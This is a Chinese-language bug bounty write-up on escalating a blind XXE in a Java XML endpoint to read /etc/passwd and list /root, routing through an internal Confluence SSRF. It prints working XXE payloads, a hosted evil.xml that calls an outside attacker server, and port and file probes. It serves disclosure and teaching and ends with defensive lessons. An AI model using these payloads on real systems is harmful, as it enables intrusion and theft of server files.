从 blind XXE 到读取根目录文件

在一次最近的 bug bounty活动中,我找到了一个端点(应用服务)了HTTP响应的数据为XML结构,我认为这里存在一个XXE漏洞。但是关于这个端点(应用服务)是没有文档说明的,唯一能够找到的介绍是一篇2016年一位心烦意乱的开发人员写的。

接下来,我大致描述一下我将一个中等难度漏洞提升成高危漏洞的过程和思路。

我认为在测试的过程中遇到的错误信息是很重要的,我也会对这些错误信息进行强调,希望这些错误信息能够在未来为其他人指明正确的方向。

注意:我已经对端点和其他信息进行了隐藏,因为漏洞是作为私有披露计划的一部分报告的,受影响的公司不希望发布任何关于其环境或发现的信息。

我发现了什么

为什么这个端点能够引起我的注意,是因为这个端点响应的是一个简单的XML结构的错误信息和404。

请求:

GET /interesting/ HTTP/1.1
Host: server.company.com

响应

HTTP/1.1 404 Not Found
Server: nginx
Date: Tue, 04 Dec 2018 10:08:18 GMT
Content-Type: text/xml
Content-Length: 189
Connection: keep-alive

<result>
<errors>
<error>The request is invalid: The requested resource could not be found.</error>
</errors>
</result>

我改变请求的方法为POST时,在header头部添加 Content-Type: application/xml并在POST数据中添加了一个不合法的XML数据,响应更加说明这里有XXE漏洞了。

请求:

POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30

<xml version="abc" ?>
<Doc/>

响应:

<result>
<errors>
<error>The request is invalid: The request content was malformed:
XML version "abc" is not supported, only XML 1.0 is supported.</error>
</errors>
</result>

但是当我发送一个正确的结构化的XML文档时:
请求:

POST /interesting/ HTTP/1.1
Host: server.company.com
Content-Type: application/xml
Content-Length: 30

<?xml version="1.0" ?>
<Doc/>

响应:

<result>
<errors>
<error>Authentication failed: The resource requires authentication, which was not supplied with the request</error>
</errors>
</result>

注意了,服务器明显需要凭证,在交互的过程中。遗憾的是,没有文档说明应该如何提供凭证,我也无法在任何地方找到可能有效的凭证。这可能是个坏消息,因为我以前遇到的许多XXE漏洞需要与端点进行某种“有效”交互。如果没有身份验证,利用这个漏洞可能会变得困难得多。

但是现在还没有必要担心!在任何情况下,您都应该尝试包含DOCTYPE定义的字串,以查看是否完全禁止使用外部实体,或者是否可以继续追求乐趣和回报。所以我试着发送了如下请求包:

请求

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://59c99fu65h6mqfmhf5agv1aptgz6nv.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The server was not able to produce a timely response to your request.

我看了下我的Burp Collaborator交互界面,没有期望的HTTP请求,只有如下部分。

幸运的是!服务器明显解析了我的域名,但是没有HTTP请求。此外,注意到了服务器在几秒之后出现500错误。

看起来像防火墙起作用了。我继续尝试进行针对不同端口的出站HTTP请求。但是没有可以达到效果的。所有端口都超时了,显示受影响的服务器至少可以依赖防火墙成功地阻止所有非预期的出站流量。给网络安全团队5分!

只能做 blind xxe

在这一点上,我有一个有趣的发现,但还没有什么真正值得说明的。通过尝试访问本地文件、内部网络和内部服务,我希望能够从中获得一份中危的报告。

为了证明影响,我展示了此漏洞可以用来成功确定文件是否存在:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext;
]>
<r></r>

响应

The markup declarations contained or pointed to by the document type declaration must be well-formed.

这表明文件存在,XML解析器可以打开和读取文件,但是文件的内容不是有效的文档类型定义(DTD),因此解析器失败并抛出错误。换句话说,外部实体的加载并没有被禁用,但是我们似乎没有得到任何输出。在这个阶段,这似乎是一个blind XXE漏洞。

假设使用的是JavaSAX Parser解析器,因为报错似乎和Java错误类有联系 org.xml.sax.SAXParseExceptionpublicId

这很有趣,因为Java在涉及XXE时有许多特性,我们稍后将指出这一点。

当我们访问的文件不存在时,响应是这样的:

请求

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "file:///etc/passwdxxx"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
/etc/passwdxxx (No such file or directory)

好的,有用但不太好; 如何使用这个blind XXE漏洞作为基本端口扫描器?

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://localhost:22/"> %ext;
]>
<r></r>

响应

The request is invalid: The request content was malformed:
Invalid Http response

很好——这意味着我们可以列举内部服务。这仍然不是我想要的很酷的结果,但至少是一些值得报道的东西。这种类型的blind XXE有效地表现为与blind服务器端请求伪造(SSRF)漏洞类似的行为:您可以启动内部HTTP请求,但不能读取响应。

这让我怀疑是否可以应用任何其他与ssrf相关的技术,以便更好地利用这个blind XXE漏洞。需要检查的一件事是对其他协议的支持,包括httpsgopherftpjarscp等。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "gopher://localhost/"> %ext; ]>
<r></r>

响应:

The request is invalid: The request content was malformed:
unknown protocol: gopher

这很有趣,因为它将用户提供的协议在错误消息中返回回来。我们把它记下来,以后再用。

漏洞与blind ssrf漏洞具有相似性,看看我们是否能够访问任何内部web应用程序是有意义的。由于我的目标公司似乎与相当广泛和多样化的开发人员合作,GitHub中充斥着x.company.internal格式的地址。我找到了一些看起来很有前途的内部资源(很可能有漏洞的服务器)。

wiki.company.internal
jira.company.internal
confluence.company.internal

考虑到防火墙之前阻止了我的传出流量,我想验证内部流量是否也被阻止了,或者内部网络是否更可信。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://wiki.company.internal/"> %ext;
]>
<r></r>

响应

The markup declarations contained or pointed to by the document type declaration must be well-formed.

有趣的是,我们以前看到过这个错误消息,它表示读取了请求的资源,但是没有正确格式化。这意味着允许内部网络通信,并且我们的内部请求成功了!

这就是我们的处境。使用blind XXE 漏洞,可以向许多内部web应用程序发起请求,枚举文件系统中文件的存在性,以及枚举在所有内部主机上运行的服务。在这一点上,我报告了这种漏洞,并在周末前往耶路撒冷的城市之旅中思考进一步的可能性。

独眼称王

周末精神焕发地回来后,我下定决心要找出这个脆弱点可能造成的影响。具体来说,如果我可以在内部网络上找到一个类似代理的主机,未经过滤的内部网络流量可能被滥用将流量路由到外部。

通常,在没有任何形式的可读反馈的情况下,在web应用程序上发现漏洞几乎是不可能的。幸运的是,在Jira中存在一个已知的SSRF漏洞,这已经在许多文章中得到了证明。

我立即去测试我的运气与内部的Jira服务器

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "https://jira.company.internal/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

HTTPS 的流量失败了,如果 SSL 验证出错的话。幸运的是,Jira 默认在8080端口上运行HTTP服务。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
http://jira.company.internal:8080/plugins/servlet/oauth/users/icon-uri

我又检查了一下Burp Collaborator 的交互信息,但运气不佳。Jira实例可能已经打了补丁,或者已经禁用了易受攻击的插件。于是,我疯狂而徒劳地寻找不同类型的Wiki应用程序上已知的SSRF漏洞之后(并不是最优选择),我决定测试内部Confluence实例是否存在相同的Jira 漏洞(默认情况下运行在端口8090上)。

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://4hm888a6pb127f2kwu2gsek23t9jx8.burpcollaborator.net/x"> %ext;
]>
<r></r>

响应:

The request is invalid: The request content was malformed:
The markup declarations contained or pointed to by the document type declaration must be well-formed.

发现

我们成功地通过一个内部易受攻击的Confluence来绕过防火墙限制出站的internet流量。这意味着我们现在可以尝试XXE的经典方法。让我们从托管一个evil.xml文件开始。攻击者服务器托管evil.xml,包含以下内容,希望触发有趣的错误消息:

<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

让我们更详细地看看这些参数实体的定义:

  1. 将外部引用(在本例中是系统的/目录)的内容加载到变量中(%file)
  2. 定义一个变量(%ent);它实际上只是将各个部分链接在一起来解释第三个实体
  3. 尝试在(%file)位置访问资源;(无论它指向何处)并将该位置中的任何内容加载到实体(data)中。

注意,我们希望第三个定义失败,因为(%file)的内容;不会指向有效的资源位置,而是包含完整目录的内容。

现在,使用Confluenceproxy)指向我们的恶意文件,并确保参数(%ent); 实体参数(&data;)被访问以触发目录访问:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应

no protocol: bin
boot
dev
etc
home
[...]

太棒了!列出了服务器的目录内容!

有趣的是,这显示了从服务器返回基于错误的输出的另一种方法,即指定一个“丢失的”协议,而不是我们前面看到的无效协议。

这可以帮助我们解决在读取包含冒号的文件时遇到的最后一个难点,因为使用上述方法读取/etc/passwd会导致以下错误:

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

unknown protocol: root

换句话说,在冒号:第一次出现之前,可以读取文件,但是读取冒号之后不能再读取了。绕过这一点并强制在错误消息中显示完整的文件内容的一种方法是在文件内容之前加上一个冒号。这将导致no protocol错误,因为第一个冒号之前的字段将是空的,即未定义。托管的 evil.xml 修改为:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

no protocol: :root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[…]

Java 在访问目录时还会返回目录列表,于是尝试访问根目录文件。

evil.xml

<!ENTITY % file SYSTEM "file:///root">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

请求:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

响应:

no protocol: :.bash_history
.bash_logout
.bash_profile
.bashrc
.pki
.ssh
[...]

就是这样,看来我们很幸运。通过滥用不充分的网络分隔、未打补丁的内部应用程序服务器、过度特权的web服务器以及通过过于冗长的错误消息传递导致的信息泄漏,我们成功地将一个blind XXE漏洞提升为读取root目录和文件的漏洞。

经验

红队:

  1. 如果有东西看起来很奇怪,那么继续挖掘
  2. Java SAX解析器对URL模式的有趣处理允许使用一些新的方法提取信息。虽然现代Java版本不允许将多行文件作为外部HTTP请求(即attacker.org/?&file;)的方式导出,但是在错误消息中,甚至在URL协议中,都可以获得多行响应

蓝队:

  1. 确保内部服务器和面向公众的服务器一样得到了及时的修补
  2. 不要把内部网络视为一个受信任的安全区,而应采用适当的网络分隔
  3. 将详细的错误消息写入错误日志,而不是HTTP响应
  4. 依赖身份验证并不一定能缓解诸如XXE之类的低级问题

时间线:

1.20181126-第一次注意到有趣的XML端点
2.20181128-blind XXE报告:可以列举文件、目录、内部网络位置和开放端口
3.20181203-发现易受攻击的内部Confluence服务器,报告POC演示了读取根目录文件的能力
4.20181204-漏洞修复获得奖金
5.20181206-申请发表文章;
6.20181212-批准。

源链接

Hacking more

...